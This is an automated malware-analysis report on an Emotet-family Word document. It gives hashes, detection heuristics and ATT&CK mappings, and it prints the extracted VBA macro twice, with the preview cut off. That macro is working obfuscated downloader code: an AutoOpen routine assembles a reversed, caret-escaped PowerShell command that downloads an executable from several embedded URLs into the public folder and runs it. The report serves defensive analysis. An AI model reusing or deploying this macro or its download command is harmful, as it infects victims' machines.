Emotet Office (OLE) malware analysis — malicious · d12c2b3a3a1e69f4

MALICIOUS

Office (OLE)

69.1 KB Created: 2018-10-01 16:49:00 Authoring application: Microsoft Office Word First seen: 2019-06-27

MD5: 0e663791a2dc590188b102705064e1a1 SHA-1: 238d27fb728ca1e92a7536e1183323f2d4ffe274 SHA-256: d12c2b3a3a1e69f44bd010e211e593e11971a429624d93ad5a6292aa502b4a48

202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, a common technique for Emotet. The macro uses Shell() calls to execute commands, including constructing a complex command line that appears to download and execute a second-stage payload from a remote server. The ClamAV detection explicitly names Emotet, further supporting the family attribution.

Heuristics 6

ClamAV: Doc.Downloader.Emotet-6887588-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6887588-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4648 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	4648 bytes
SHA-256: `45e2efadd5a5dc4db2d937cc5795a90f0a612cfa84724c104c87f027c2d8abc0`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "IaCwwiF" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() If dLukjJ > 15 Then oAMkCS = "tWBb" End If If doBwr And Xbnhh Then YiZNCb = "Hpno" End If If HojqU Eqv 19 Then BYikpA = "z" End If If sWOFCS < RqnuHO Then vkKXET = "pWMzTYTGadt" End If If MqBBf <> tWLRzQ Then FLOjjF = "FCAB" End If iZdkWkNiAsK (KeyString(rEYzJYW + kkSln + 12 + 16 + 39 + crpbD + HMGQXjwU) + sKXHYzQ + IARFw + KeyString(rbGYhaa + kDIwFM + 14 + 18 + 45 + iscoB + YOBHwqGJ) + zQtfICj + RClpIz + cILMpJMXD + UOwVw + QLPJATKj + IsdaRiF) If TTIsuu Or owKpAw Then hcLvHw = "pVFjXrbZoYuoWQ" End If If SUPLi > ZQiLw Then zFiwOk = "wCMWDN" End If End Sub Attribute VB_Name = "lvLZfHUs" Function zQtfICj() If UEwZV And ozVwp Then EJRhav = "wwzPmcLEo" End If RwQMVq = "d /V^:^O/C" + """" + "^s^e^t ^y^p^W^8=^" + " ^ ^ ^ ^ ^ ^ ^ ^ ^ " + "^ ^ ^ ^ ^ ^ ^}" + "^}^{^hc^t^ac^}^;" + "^k^a^er^b^;^" If aZRiMW Or tNYkLC Then aPtfvz = "VRSWoJwKEAuoMO" End If If tOtql >= XJBnP Then wjRbAV = "XJl" End If If bFKjBk >= MmNqC Then LJIjoF = "wL" End If If zjJYq And 13 Then phQdR = "kQwksGk" End If rVsFlbXn = "D^b^w^$^ ^m^e^t" + "^I^-^e^k^ov" + "n^I^;)D^b^w^$^ ^,^" + "ZZR$(^e^l^i" + "^F^d^a^o^ln^w^o^D" + "^.I^z^K^$^{^yr^t^" MCkpvqN = "{)^Hc^d^$^ n^i" + "^ ^Z^ZR^$(hc^a^er^" + "o^f;^'^e^x^e^.^'+^" + "Bc^k^$^+^'" If YSrUPs And vtDVPh Then SSYOp = "r" End If If fIskVE < HwAHN Then fomvpm = "jv" End If zTnOY = "^\^'^+c^i^l^b^u^p^:v" + "n^e^$^=^D^b" + "^w^$^;'^3^9^5^'" zQtfICj = RwQMVq + rVsFlbXn + MCkpvqN + zTnOY If zElXc >= rmlMMW Then FqjvY = "aqfmk" End If If MFhBjw <= 19 Then TXzYk = "IPbATb" End If End Function Function RClpIz() nujiwCqz = "^ ^=^ ^Bc^k" + "^$;)^'@^'(t^il^p^" + "S.^'^7^h^q^" + "L^yr^j/^gr^o^." + "^i^iu^k^f^m" If vVkXws = RSBuif Then EkcPwo = "rKKEHKPfSI" End If If vECYuW > 3 Then zKASW = "zpSZVri" End If If awtIc <> BpuKz Then UhiHLb = "d" End If If dKLQM <= hsGhXp Then cdWPrM = "wAEKaS" End If If LmAtib Or btUPQ Then wcJnU = "ih" End If aQidlO = "^k^.^ar^ht^" + "a^z^a//^:^p^t^t^" + "h^@^6^ic^Wn4^p^T/^t^" FqNSF = "en^.e^t^s^k^e^tn^" + "okv//:^p^tt^h^@" + "^F^p^d^w^s^J^Jtc/" + "^l^p.gn^in^" RClpIz = nujiwCqz + aQidlO + FqNSF If OIcJN < DfOUw Then pGDMi = "uzz" End If If cGVawj >= AsiOwD Then NkpOn = "diUcFhKZ" End If If rCriK > hjRjjW Then WhkZm = "w" End If If IjRsCj And QHqonQ Then NssHU = "Ba" End If If LVJNu > FPAKUc Then PBzdDr = "ATm" End If End Function Function cILMpJMXD() If zjtZlJ And zwwRnz Then bSJWo = "sJrTultVQYNZMC" End If If JzcbG Or owMuX Then dOACl = "ooo" End If If zPNjZi And bvrKIM Then NqbUvG = "O" End If wcpOJ = "i^ar^t^er^" + "o^h^sf^f^o^.^w" + "^w^w//^:^p^t^t^h" + "^@^9R^gCr^Y^7^" GMXlriaSwj = "4^7/^m^oc^.^s^p" + "^ir^g^dna^s^m^ac/" + "/^:^p^t^t^" + "h^@^dN^e^K^5^6^m^h" + "^z/^moc^.r^a" + "^l^u^l^l^ecr^sb//" If YLncO = bjScMs Then OOVScc = "FnJYtM" End If If TfkpWi < 6 Then XDzjP = "ZuR" End If ahloZC = "^:^p^t^t^h^'^=^Hc^d" + "^$^;^tn^e^i^" + "lC^b^e^W^." + "^t^eN^ ^tc^e^j^b^" KMrQuZPc = "o^-^wen^=^I^z" + "^K^$^ ^l^le" + "^h^sr^e^wo^" + "p&&^f^or /^L %^" cILMpJMXD = wcpOJ + GMXlriaSwj + ahloZC + KMrQuZPc If Ghlhmz Xor 1 Then vkBOj = "I" End If If iYWwVc <= QGiXm Then tSkUV = "jHH" End If If nrWVF Or qRTvM Then jtsXuW = "Mizw" End If If jQVpQi <> BJHZi Then lsqTOr = "oPqJqofvVi" End If End Function Function UOwVw() lEGmKztW = "0 ^in (^3^8^3;^-^1" + ";^0)^d^o ^s" + "^e^t ^7^TN=!^7^TN" + "!!^y^p^W^8:~%" + "^0,1!&&^i^f" If LwbwKf <> 17 Then RfzDPw = "rLaiGs" End If jvcsfCKt = " %^0 ^l^e^q ^0 c" + "^a^l^l %^7" + "^TN:^*^7^TN^!" + "^=%" + """" + "" UOwVw = lEGmKztW + jvcsfCKt If WvazTG < XQCWJi Then RvCvVn = "OVYA" End If ... (truncated)

SHA-256: 45e2efadd5a5dc4db2d937cc5795a90f0a612cfa84724c104c87f027c2d8abc0

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "IaCwwiF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If dLukjJ > 15 Then

oAMkCS = "tWBb"
End If
   If doBwr And Xbnhh Then

YiZNCb = "Hpno"
End If
   If HojqU Eqv 19 Then

BYikpA = "z"
End If
   If sWOFCS < RqnuHO Then

vkKXET = "pWMzTYTGadt"
End If
   If MqBBf <> tWLRzQ Then

FLOjjF = "FCAB"
End If
iZdkWkNiAsK (KeyString(rEYzJYW + kkSln + 12 + 16 + 39 + crpbD + HMGQXjwU) + sKXHYzQ + IARFw + KeyString(rbGYhaa + kDIwFM + 14 + 18 + 45 + iscoB + YOBHwqGJ) + zQtfICj + RClpIz + cILMpJMXD + UOwVw + QLPJATKj + IsdaRiF)
   If TTIsuu Or owKpAw Then

hcLvHw = "pVFjXrbZoYuoWQ"
End If
   If SUPLi > ZQiLw Then

zFiwOk = "wCMWDN"
End If
End Sub


Attribute VB_Name = "lvLZfHUs"
Function zQtfICj()
If UEwZV And ozVwp Then

EJRhav = "wwzPmcLEo"
End If
RwQMVq = "d /V^:^O/C" + """" + "^s^e^t ^y^p^W^8=^" + " ^ ^ ^ ^ ^ ^ ^ ^ ^ " + "^ ^ ^ ^ ^ ^  ^}" + "^}^{^hc^t^ac^}^;" + "^k^a^er^b^;^"
If aZRiMW Or tNYkLC Then

aPtfvz = "VRSWoJwKEAuoMO"
End If
   If tOtql >= XJBnP Then

wjRbAV = "XJl"
End If
   If bFKjBk >= MmNqC Then

LJIjoF = "wL"
End If
   If zjJYq And 13 Then

phQdR = "kQwksGk"
End If
rVsFlbXn = "D^b^w^$^ ^m^e^t" + "^I^-^e^k^ov" + "n^I^;)D^b^w^$^ ^,^" + "ZZR$(^e^l^i" + "^F^d^a^o^ln^w^o^D" + "^.I^z^K^$^{^yr^t^"
MCkpvqN = "{)^Hc^d^$^ n^i" + "^ ^Z^ZR^$(hc^a^er^" + "o^f;^'^e^x^e^.^'+^" + "Bc^k^$^+^'"
If YSrUPs And vtDVPh Then

SSYOp = "r"
End If
   If fIskVE < HwAHN Then

fomvpm = "jv"
End If
zTnOY = "^\^'^+c^i^l^b^u^p^:v" + "n^e^$^=^D^b" + "^w^$^;'^3^9^5^'"
zQtfICj = RwQMVq + rVsFlbXn + MCkpvqN + zTnOY
   If zElXc >= rmlMMW Then

FqjvY = "aqfmk"
End If
   If MFhBjw <= 19 Then

TXzYk = "IPbATb"
End If
End Function
Function RClpIz()
nujiwCqz = "^ ^=^ ^Bc^k" + "^$;)^'@^'(t^il^p^" + "S.^'^7^h^q^" + "L^yr^j/^gr^o^." + "^i^iu^k^f^m"
If vVkXws = RSBuif Then

EkcPwo = "rKKEHKPfSI"
End If
   If vECYuW > 3 Then

zKASW = "zpSZVri"
End If
   If awtIc <> BpuKz Then

UhiHLb = "d"
End If
   If dKLQM <= hsGhXp Then

cdWPrM = "wAEKaS"
End If
   If LmAtib Or btUPQ Then

wcJnU = "ih"
End If
aQidlO = "^k^.^ar^ht^" + "a^z^a//^:^p^t^t^" + "h^@^6^ic^Wn4^p^T/^t^"
FqNSF = "en^.e^t^s^k^e^tn^" + "okv//:^p^tt^h^@" + "^F^p^d^w^s^J^Jtc/" + "^l^p.gn^in^"
RClpIz = nujiwCqz + aQidlO + FqNSF
   If OIcJN < DfOUw Then

pGDMi = "uzz"
End If
   If cGVawj >= AsiOwD Then

NkpOn = "diUcFhKZ"
End If
   If rCriK > hjRjjW Then

WhkZm = "w"
End If
   If IjRsCj And QHqonQ Then

NssHU = "Ba"
End If
   If LVJNu > FPAKUc Then

PBzdDr = "ATm"
End If
End Function
Function cILMpJMXD()
If zjtZlJ And zwwRnz Then

bSJWo = "sJrTultVQYNZMC"
End If
   If JzcbG Or owMuX Then

dOACl = "ooo"
End If
   If zPNjZi And bvrKIM Then

NqbUvG = "O"
End If
wcpOJ = "i^ar^t^er^" + "o^h^sf^f^o^.^w" + "^w^w//^:^p^t^t^h" + "^@^9R^gCr^Y^7^"
GMXlriaSwj = "4^7/^m^oc^.^s^p" + "^ir^g^dna^s^m^ac/" + "/^:^p^t^t^" + "h^@^dN^e^K^5^6^m^h" + "^z/^moc^.r^a" + "^l^u^l^l^ecr^sb//"
If YLncO = bjScMs Then

OOVScc = "FnJYtM"
End If
   If TfkpWi < 6 Then

XDzjP = "ZuR"
End If
ahloZC = "^:^p^t^t^h^'^=^Hc^d" + "^$^;^tn^e^i^" + "lC^b^e^W^." + "^t^eN^ ^tc^e^j^b^"
KMrQuZPc = "o^-^wen^=^I^z" + "^K^$^ ^l^le" + "^h^sr^e^wo^" + "p&&^f^or /^L %^"
cILMpJMXD = wcpOJ + GMXlriaSwj + ahloZC + KMrQuZPc
   If Ghlhmz Xor 1 Then

vkBOj = "I"
End If
   If iYWwVc <= QGiXm Then

tSkUV = "jHH"
End If
   If nrWVF Or qRTvM Then

jtsXuW = "Mizw"
End If
   If jQVpQi <> BJHZi Then

lsqTOr = "oPqJqofvVi"
End If
End Function
Function UOwVw()
lEGmKztW = "0 ^in (^3^8^3;^-^1" + ";^0)^d^o ^s" + "^e^t ^7^TN=!^7^TN" + "!!^y^p^W^8:~%" + "^0,1!&&^i^f"
If LwbwKf <> 17 Then

RfzDPw = "rLaiGs"
End If
jvcsfCKt = " %^0 ^l^e^q ^0 c" + "^a^l^l %^7" + "^TN:^*^7^TN^!" + "^=%" + """" + ""
UOwVw = lEGmKztW + jvcsfCKt
   If WvazTG < XQCWJi Then

RvCvVn = "OVYA"
End If
... (truncated)

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